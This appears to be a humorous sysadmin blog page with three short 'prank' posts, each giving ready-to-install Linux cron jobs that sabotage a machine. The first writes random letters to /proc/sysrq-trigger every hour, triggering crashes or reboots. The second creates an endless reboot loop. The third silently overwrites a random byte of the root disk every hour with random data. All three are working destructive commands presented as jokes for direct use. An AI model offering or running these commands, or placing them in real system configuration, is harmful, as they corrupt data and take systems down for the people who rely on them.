Happyfuntime Sysrq

2019‑06-06 Wander Boessenkool kernel , sysrq , cron , random

Add the following file as /etc/cron.hourly/happyfuntime:

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#!/bin/bash
SYSRQLETTERS="bcdefghijklmnopqrstuvwxyz0123456789"
echo ${SYSRQLETTERS:${RANDOM}%${#SYSRQLETTERS}:1} > /proc/sysrq-trigger

Don’t forget to make the file executable.

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chmod +x /etc/cron.hourly/happyfuntime

Neverending Story

2019‑05-22 Wander Boessenkool cron , reboot , infinite loop , endless loop

Create a file named /etc/cron.d/system with the following content:

@reboot reboot

Accelerated Bitrot

2019‑05-18 Wander Boessenkool bitrot , cron , disk

Create the following file as /etc/cron.hourly/bitrot

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#!/bin/bash
ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc